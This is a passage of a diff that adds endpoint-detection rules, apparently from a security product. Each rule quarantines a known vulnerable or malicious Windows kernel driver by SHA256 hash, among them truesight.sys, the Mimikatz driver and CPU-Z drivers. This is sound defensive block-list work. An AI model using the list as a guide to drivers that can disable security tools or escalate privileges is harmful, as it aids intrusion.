+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "70f120b3-746a-5b48-88e3-8449db36ce1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826025Z",
+  "creation_date": "2026-03-23T11:45:30.826028Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0956447f87a96b886c728a621eee105ade5ffd1bdb1583171f0c74a0c5b0e56",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "712074ef-379a-51b6-8e2c-1c74c9bc6ab7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619354Z",
+  "creation_date": "2026-03-23T11:45:29.619356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619362Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "916c535957a3b8cbf3336b63b2260ea4055163a9e6b214f2a7005d6d36a4a677",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7120fac4-2366-5d19-b9df-3f2aa234b839",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970383Z",
+  "creation_date": "2026-03-23T11:45:29.970385Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970390Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "274ca13168b38590c230bddc2d606bbe8c26de8a6d79156a6c7d07265efe0fdf",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71293ec7-8f9a-5cd3-81b1-529338fad8b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819970Z",
+  "creation_date": "2026-03-23T11:45:31.819974Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819983Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d96fb94a4c4fc4bb0a79270c4ea070b3204c4ee9979be2d69439d879b3b85e19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71337250-7b58-51f3-9813-6ccdb1571a70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982573Z",
+  "creation_date": "2026-03-23T11:45:29.982575Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982580Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c2f3e9811f7d0c7463eaa1ee6f39c23f902f3797b80891590b43bbe0fdf0e51",
+  "comment": "Malicious Kernel Driver (aka daxin_blank5.sys) [https://www.loldrivers.io/drivers/0590655c-baa2-481a-b909-463534bd7a5e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "713fabed-fea3-5fe3-9330-c59582fc2528",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141310Z",
+  "creation_date": "2026-03-23T11:45:31.141312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141317Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35b9c645469bdef383d63083d98bb947e3a1deab699d7984b86c1fe457ad260a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7142818b-a8e6-5562-8e06-e2092da083de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984458Z",
+  "creation_date": "2026-03-23T11:45:29.984460Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d61ce5874adb89b4e992df8df879b568d9c4136df568718a768cd807d789a726",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71433f41-7133-5920-93d9-f85f7f8986b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155049Z",
+  "creation_date": "2026-03-23T11:45:31.155051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c0c8aea44644c2488ee1a9ddce05f183e47d3b6edee56697b0e127582cead55",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7152878d-f71b-586f-97c5-5985a187cdfe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474682Z",
+  "creation_date": "2026-03-23T11:45:30.474686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474695Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9534f81749245346003690ecd5bdbd0a2b7011fa402c4984477ee7b4f80ca95",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71579d9d-aff0-5289-9136-5f691ea3300a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605022Z",
+  "creation_date": "2026-03-23T11:45:29.605024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62366c3a767c60984c67e58b8f57ca3ecce6eaa11006de8be318f074ecc350fd",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "715a3ee9-1d54-568f-b3a1-e697a3c7e889",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982677Z",
+  "creation_date": "2026-03-23T11:45:29.982679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27cd05527feb020084a4a76579c125458571da8843cdfc3733211760a11da970",
+  "comment": "Vulnerable Kernel Driver (aka AsrSetupDrv103.sys) [https://www.loldrivers.io/drivers/19003e00-d42d-4cbe-91f3-756451bdd7da/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "715d09d9-b01f-564b-8051-e0905c869279",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826461Z",
+  "creation_date": "2026-03-23T11:45:30.826463Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826468Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57876e89166558bb3f3aafb64347881e5d1e153b7d3bdfac492596839062fcec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71650996-ed68-52c2-b62d-3a534585d291",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487702Z",
+  "creation_date": "2026-03-23T11:45:31.487703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487709Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b1186d61e569091aa1c1e37ab78ead35bc3d568e9ada3f4a3f806a995ab94c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "717c8640-0b98-5998-b9f6-5c76aa1c5cda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829041Z",
+  "creation_date": "2026-03-23T11:45:31.829043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829051Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccd3a7e948d34b5db6da27a98055e65e7c161f3c2e0a534fd114a0f080b84370",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "717cb000-9542-5749-876a-0c0a92b50f07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604264Z",
+  "creation_date": "2026-03-23T11:45:29.604266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb467e8c9edf1ac9ddabbc666cd48fc37b05e9d9390bb347504c899e15bce4d8",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "718256fb-b908-55df-a66e-52ba6e2e0552",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143808Z",
+  "creation_date": "2026-03-23T11:45:31.143810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f31fc480082ce2c9a5fde79fc84fda30869ed9a489d5a8984a4b8515f797cb11",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7194fbfa-9525-53f0-9a8f-6ed02003d6f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985121Z",
+  "creation_date": "2026-03-23T11:45:29.985125Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985134Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d50ee14181cf60bbdffe1a891b9bb3a852c93019f1f05dde47b3178b821b8f54",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "719cac79-9f5b-5767-b078-6705eb5cfa10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159553Z",
+  "creation_date": "2026-03-23T11:45:31.159555Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80d2a78390a8036400f0e67b51da1642bff09088e3578d3debe80b70859da088",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "719e319d-d4a2-5348-b9fc-7b051fbf2a7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146150Z",
+  "creation_date": "2026-03-23T11:45:31.146152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2a21728cff35609180283bdcb4872290f3659187bdcf3ea4086fc11c68546d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71a110fe-9d7c-5f78-8ad8-47bcebb393f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979636Z",
+  "creation_date": "2026-03-23T11:45:29.979637Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979643Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28d3a5a85eef4561c4ad08fd83aca4f7a946f8dca8bfb7958a855a80197f68a6",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71aadc78-b29a-58fb-b4eb-22af8f917010",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610759Z",
+  "creation_date": "2026-03-23T11:45:29.610761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3e150eb7e7292f70299d3054ed429156a4c32b1f7466a706a2b99249022979e",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71ae193b-da8c-532b-94db-48a8e671a758",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977782Z",
+  "creation_date": "2026-03-23T11:45:29.977784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0892c3facb931521bbe87b31d836d376b169198c2550baaf444df742e85d0846",
+  "comment": "Vulnerable Kernel Driver (aka NetProxyDriver.sys) [https://www.loldrivers.io/drivers/c1ece07b-e92a-4050-95ee-90e03aa82120/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71b4ca0a-b181-53f2-9603-a9df87666c17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
